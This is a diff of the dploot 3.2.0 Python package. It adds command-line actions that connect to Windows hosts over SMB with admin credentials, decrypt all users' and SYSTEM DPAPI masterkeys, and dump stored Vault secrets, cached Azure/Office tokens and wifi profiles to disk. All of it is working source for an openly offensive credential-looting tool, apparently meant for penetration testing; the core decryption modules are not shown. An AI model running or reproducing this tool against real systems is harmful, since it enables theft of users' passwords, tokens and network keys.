dploot 3.2.0__py2.py3-none-any.whl

dploot/action/vaults.py

@@ -0,0 +1,132 @@
+import argparse
+import logging
+import sys
+from typing import Callable, Tuple
+from dploot.action.masterkeys import (
+    add_masterkeys_argument_group,
+    parse_masterkeys_options,
+)
+
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
+from dploot.triage.vaults import VaultsTriage
+
+NAME = "vaults"
+
+
+class VaultsAction:
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+        self.target = Target.from_options(options)
+
+        self.conn = None
+        self._is_admin = None
+        self.outputdir = None
+        self.masterkeys = None
+        self.pvkbytes = None
+        self.passwords = None
+        self.nthashes = None
+
+        self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
+
+        if self.options.mkfile is not None:
+            try:
+                self.masterkeys = parse_masterkey_file(self.options.mkfile)
+            except Exception as e:
+                logging.error(str(e))
+                sys.exit(1)
+
+        self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
+            self.options, self.target
+        )
+
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info(
+            "Connected to {} as {}\\{} {}\n".format(
+                self.target.address,
+                self.target.domain,
+                self.target.username,
+                ("(admin)" if self.is_admin else ""),
+            )
+        )
+        if self.is_admin:
+            if self.masterkeys is None:
+
+                def masterkey_triage(masterkey):
+                    masterkey.dump()
+
+                masterkeytriage = MasterkeysTriage(
+                    target=self.target,
+                    conn=self.conn,
+                    pvkbytes=self.pvkbytes,
+                    nthashes=self.nthashes,
+                    passwords=self.passwords,
+                    per_masterkey_callback=masterkey_triage
+                    if not self.options.quiet
+                    else None,
+                )
+                logging.info("Triage ALL USERS masterkeys\n")
+                self.masterkeys = masterkeytriage.triage_masterkeys()
+                print()
+                if self.outputdir is not None:
+                    dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
+
+            def secret_callback(vault):
+                if self.options.quiet:
+                    vault.dump_quiet()
+                else:
+                    vault.dump()
+
+            triage = VaultsTriage(
+                target=self.target,
+                conn=self.conn,
+                masterkeys=self.masterkeys,
+                per_vault_callback=secret_callback,
+            )
+            logging.info("Triage Vaults for ALL USERS\n")
+            triage.triage_vaults()
+            if self.outputdir is not None:
+                dump_looted_files_to_disk(self.outputdir, triage.looted_files)
+        else:
+            logging.info("Not an admin, exiting...")
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+
+
+def entry(options: argparse.Namespace) -> None:
+    a = VaultsAction(options)
+    a.run()
+
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+    subparser = subparsers.add_parser(
+        NAME, help="Dump users Vaults blob from local or remote target"
+    )
+
+    group = subparser.add_argument_group("vaults options")
+
+    group.add_argument(
+        "-mkfile",
+        action="store",
+        help=("File containing {GUID}:SHA1 masterkeys mappings"),
+    )
+
+    add_masterkeys_argument_group(group)
+    add_target_argument_group(subparser)
+
+    return NAME, entry

dploot/action/wam.py

@@ -0,0 +1,133 @@
+import argparse
+import logging
+import sys
+from typing import Callable, Tuple
+from dploot.action.masterkeys import (
+    add_masterkeys_argument_group,
+    parse_masterkeys_options,
+)
+
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
+from dploot.triage.wam import WamTriage
+
+NAME = "wam"
+
+
+class WamAction:
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+        self.target = Target.from_options(options)
+
+        self.conn = None
+        self._is_admin = None
+        self.outputdir = None
+        self.masterkeys = None
+        self.pvkbytes = None
+        self.passwords = None
+        self.nthashes = None
+
+        self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
+
+        if self.options.mkfile is not None:
+            try:
+                self.masterkeys = parse_masterkey_file(self.options.mkfile)
+            except Exception as e:
+                logging.error(str(e))
+                sys.exit(1)
+
+        self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
+            self.options, self.target
+        )
+
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info(
+            "Connected to {} as {}\\{} {}\n".format(
+                self.target.address,
+                self.target.domain,
+                self.target.username,
+                ("(admin)" if self.is_admin else ""),
+            )
+        )
+        if self.is_admin:
+            if self.masterkeys is None:
+
+                def masterkey_triage(masterkey):
+                    masterkey.dump()
+
+                masterkeytriage = MasterkeysTriage(
+                    target=self.target,
+                    conn=self.conn,
+                    pvkbytes=self.pvkbytes,
+                    nthashes=self.nthashes,
+                    passwords=self.passwords,
+                    per_masterkey_callback=masterkey_triage
+                    if not self.options.quiet
+                    else None,
+                )
+                logging.info("Triage ALL USERS masterkeys\n")
+                self.masterkeys = masterkeytriage.triage_masterkeys()
+                print()
+                if self.outputdir is not None:
+                    dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
+
+            def token_callback(token):
+                if self.options.quiet:
+                    token.dump_quiet()
+                else:
+                    token.dump()
+
+            triage = WamTriage(
+                target=self.target,
+                conn=self.conn,
+                masterkeys=self.masterkeys,
+                per_token_callback=token_callback,
+            )
+            logging.info("Triage Office Token Broker Cache for ALL USERS\n")
+            triage.triage_wam()
+            if self.outputdir is not None:
+                dump_looted_files_to_disk(self.outputdir, triage.looted_files)
+        else:
+            logging.info("Not an admin, exiting...")
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+
+
+def entry(options: argparse.Namespace) -> None:
+    a = WamAction(options)
+    a.run()
+
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+    subparser = subparsers.add_parser(
+        NAME,
+        help="Dump users cached azure tokens from local or remote target",
+    )
+
+    group = subparser.add_argument_group("wam options")
+
+    group.add_argument(
+        "-mkfile",
+        action="store",
+        help=("File containing {GUID}:SHA1 masterkeys mappings"),
+    )
+
+    add_masterkeys_argument_group(group)
+    add_target_argument_group(subparser)
+
+    return NAME, entry

dploot/action/wifi.py

@@ -0,0 +1,137 @@
+import argparse
+import logging
+import sys
+from typing import Callable, Tuple
+
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
+from dploot.action.masterkeys import parse_masterkeys_options
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
+from dploot.triage.wifi import WifiTriage
+
+
+NAME = "wifi"
+
+
+class WifiAction:
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+
+        self.target = Target.from_options(options)
+
+        self.conn = None
+        self._is_admin = None
+        self.masterkeys = None
+        self.outputdir = None
+
+        self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
+
+        self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
+            self.options, self.target
+        )
+
+        if self.options.mkfile is not None:
+            try:
+                self.masterkeys = parse_masterkey_file(self.options.mkfile)
+            except Exception as e:
+                logging.error(str(e))
+                sys.exit(1)
+
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info(
+            "Connected to {} as {}\\{} {}\n".format(
+                self.target.address,
+                self.target.domain,
+                self.target.username,
+                ("(admin)" if self.is_admin else ""),
+            )
+        )
+        if self.is_admin:
+            if self.masterkeys is None:
+
+                def masterkey_triage(masterkey):
+                    masterkey.dump()
+
+                masterkeytriage = MasterkeysTriage(
+                    target=self.target,
+                    conn=self.conn,
+                    pvkbytes=self.pvkbytes,
+                    nthashes=self.nthashes,
+                    passwords=self.passwords,
+                    per_masterkey_callback=masterkey_triage
+                    if not self.options.quiet
+                    else None,
+                )
+                logging.info("Triage SYSTEM masterkeys\n")
+                self.masterkeys = masterkeytriage.triage_system_masterkeys()
+                # we need user masterkeys, too.
+                logging.info("Triage ALL USERS masterkeys\n")
+                self.masterkeys.extend(masterkeytriage.triage_masterkeys())
+                print()
+                if self.outputdir is not None:
+                    dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
+
+            def profile_callback(profile):
+                if self.options.quiet:
+                    profile.dump_quiet()
+                else:
+                    profile.dump()
+
+            wifi_triage = WifiTriage(
+                target=self.target,
+                conn=self.conn,
+                masterkeys=self.masterkeys,
+                per_profile_callback=profile_callback,
+            )
+            logging.info("Triage ALL WIFI profiles\n")
+            wifi_triage.triage_wifi()
+            if self.outputdir is not None:
+                dump_looted_files_to_disk(self.outputdir, wifi_triage.looted_files)
+
+        else:
+            logging.info("Not an admin, exiting...")
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+
+
+def entry(options: argparse.Namespace) -> None:
+    a = WifiAction(options)
+    a.run()
+
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+    subparser = subparsers.add_parser(
+        NAME, help="Dump wifi profiles from local or remote target"
+    )
+
+    group = subparser.add_argument_group("wifi options")
+
+    group.add_argument(
+        "-mkfile",
+        action="store",
+        help=("File containing {GUID}:SHA1 masterkeys mappings"),
+    )
+
+    group.add_argument(
+        "-outputfile",
+        action="store",
+        help=("Export keys to file"),
+    )
+
+    add_target_argument_group(subparser)
+
+    return NAME, entry

dploot/entry.py

@@ -0,0 +1,98 @@
+import argparse
+import importlib.metadata
+import logging
+import sys
+import traceback
+
+from impacket.examples import logger
+
+from dploot.action import (
+    backupkey,
+    blob,
+    browser,
+    certificates,
+    cng,
+    credentials,
+    machinecertificates,
+    machinecng,
+    machinecredentials,
+    machinemasterkeys,
+    machinetriage,
+    machinevaults,
+    masterkeys,
+    mobaxterm,
+    rdg,
+    sccm,
+    triage,
+    vaults,
+    wam,
+    wifi,
+)
+
+ENTRY_PARSERS = [
+    backupkey,
+    blob,
+    browser,
+    certificates,
+    cng,
+    credentials,
+    machinecertificates,
+    machinecng,
+    machinecredentials,
+    machinemasterkeys,
+    machinetriage,
+    machinevaults,
+    masterkeys,
+    mobaxterm,
+    rdg,
+    sccm,
+    triage,
+    vaults,
+    wam,
+    wifi,
+]
+
+
+def main() -> None:
+    logger.init()
+    version = importlib.metadata.version("dploot")
+    print(f"dploot (https://github.com/zblurx/dploot) v{version} by @_zblurx")
+    parser = argparse.ArgumentParser(
+        description="DPAPI looting locally remotely in Python",
+        add_help=True,
+    )
+
+    subparsers = parser.add_subparsers(help="Action", dest="action", required=True)
+
+    actions = {}
+
+    for entry_parser in ENTRY_PARSERS:
+        action, entry = entry_parser.add_subparser(subparsers)
+        actions[action] = entry
+
+    if len(sys.argv) == 1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+    elif options.quiet is True:
+        logging.getLogger().setLevel(logging.CRITICAL)
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    logging.debug(f"{options=}")
+    try:
+        actions[options.action](options)
+    except Exception as e:
+        logging.error("Got error: %s" % e)
+        if options.debug:
+            traceback.print_exc()
+        else:
+            logging.error("Use -debug to print a stacktrace")
+
+
+if __name__ == "__main__":
+    main()

dploot/lib/consts.py

@@ -0,0 +1,30 @@
+# Define some dploot consts.
+
+FALSE_POSITIVES = [
+    ".",
+    "..",
+    "desktop.ini",
+    "Public",
+    "Default",
+    "Default User",
+    "All Users",
+]
+
+# simple class to check for false positives, case insensitive
+class FalsePositives(list):
+    def __init__(self,
+                 false_positives: list[str] = None
+    ) -> None:
+        if false_positives is None:
+            false_positives = FALSE_POSITIVES
+
+        super().__init__(map (lambda x: x.lower(), false_positives))
+
+    def __contains__(self, name):
+        return super().__contains__(str(name).lower())
+
+    def __setitem__(self, key, value):
+        return super().__setitem__(key,str(value).lower())
+
+    def append(self, element):
+        return super().append(str(element).lower())